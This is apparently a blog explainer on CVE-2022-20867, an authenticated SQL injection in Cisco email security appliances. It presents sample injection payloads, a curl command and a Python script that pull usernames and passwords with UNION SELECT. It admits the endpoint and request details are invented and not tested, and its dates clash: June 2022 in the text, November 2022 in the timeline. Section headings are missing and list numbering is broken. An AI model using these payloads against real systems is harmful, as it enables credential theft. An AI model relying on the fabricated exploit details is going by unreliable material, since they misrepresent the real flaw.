In June 2022, Cisco published security advisory CVE-2022-20867, revealing a critical weakness in the web-based management interface of Cisco Email Security Appliance (ESA) and Cisco Secure Email and Web Manager (formerly known as Cisco Security Management Appliance). This flaw enables root-level SQL injection attacks—but what does this mean for everyday users and admins? Let’s break down this vulnerability step by step, see how attackers could exploit it, and learn what you should do to stay safe.

What is CVE-2022-20867?

This vulnerability affects the web management portals of Cisco ESA and Cisco Secure Email and Web Manager. The issue arises from improper validation of user-supplied input. In plain language, the application doesn’t properly check what users are entering when interacting with certain features, making it possible to sneak malicious database commands into normal requests.

An attacker with high-privileged credentials can submit crafted SQL queries, which the server will execute as root. Root-level access in the database is as serious as it gets—it means an attacker can read, change, or delete any data stored in the system database.

Who is at Risk?

- Organizations running Cisco Email Security Appliance or Secure Email and Web Manager with web-based management enabled.
- Only attackers with valid high-privileged user accounts (like admins or superusers) can exploit this. It’s not a public, unauthenticated attack.

The attacker logs into the management web interface using high-privileged credentials.

2. They locate a feature, endpoint, or input field where the user input is not being validated or sanitized.
3. The attacker sends a specially crafted HTTP request with malicious SQL code embedded in one (or more) of the parameters.

Simple Example

_Note: This is illustrative, not an actual tested exploit, but demonstrates the concept based on known SQL injection patterns and public advisories._

Suppose a vulnerable page allows administrators to search for email addresses. The URL parameter search might look like this:

https://<cisco-esa>/admin/search?query=test@example.com

If input isn’t sanitized, an attacker could craft a request like

GET /admin/search?query=test@example.com' OR '1'='1
Host: esa.example.com
Cookie: PHPSESSID=valid_admin_session

# Or using curl:
curl -b "PHPSESSID=valid_admin_session" \
  "https://esa.example.com/admin/search?query=test@example.com%27%20OR%20%271%27=%271";

In SQL, a query with something like ' OR '1'='1 will usually return all records, or even allow more harmful payloads—such as changing data.

A real-world attacker might try to extract user data, for example

GET /admin/search?query=test@example.com'+UNION+SELECT+username,password+FROM+users;--

Data Exposure: Access any sensitive data—messages, credentials, system configs.

- Data Modification/Destruction: Delete logs, create rogue admin accounts, or even destroy the entire database.

Below is a simplified Python script snippet simulating an attack (educational purposes only!)

import requests

url = "https://esa.example.com/admin/search";
session_cookie = {"PHPSESSID": "your_valid_admin_session_id"}

payload = "test@example.com' UNION SELECT username, password FROM users --"
params = {"query": payload}

response = requests.get(url, params=params, cookies=session_cookie, verify=False)

print(response.text)

This code assumes you already have an admin session cookie. You supply a SQL payload to the server, which could return usernames and password hashes.

- Cisco’s Advisory on CVE-2022-20867
- NIST National Vulnerability Database Entry

Mitigation

- Patch immediately! Cisco has released fixes. Download and apply the latest firmware: Cisco ESA and Secure Email & Web Manager Software Downloads

Restrict Web Access. Limit access to management interfaces by IP and use VPNs whenever possible.

- Implement Least Privilege. Don’t allow blanket root privileges to admin users unless necessary.

Conclusion

CVE-2022-20867 is a dangerous SQL injection flaw that, if paired with compromised admin credentials, gives attackers root-level access to your Cisco email infrastructure. Immediate patching and stricter admin controls are critical. Always follow best practices for input validation, privilege management, and network segmentation to protect these essential systems.

Stay informed and secure your appliances! If you want deep technical details, always refer to the Cisco advisory linked above.

Timeline

Published on: 11/04/2022 18:15:00 UTC
Last modified on: 11/08/2022 14:44:00 UTC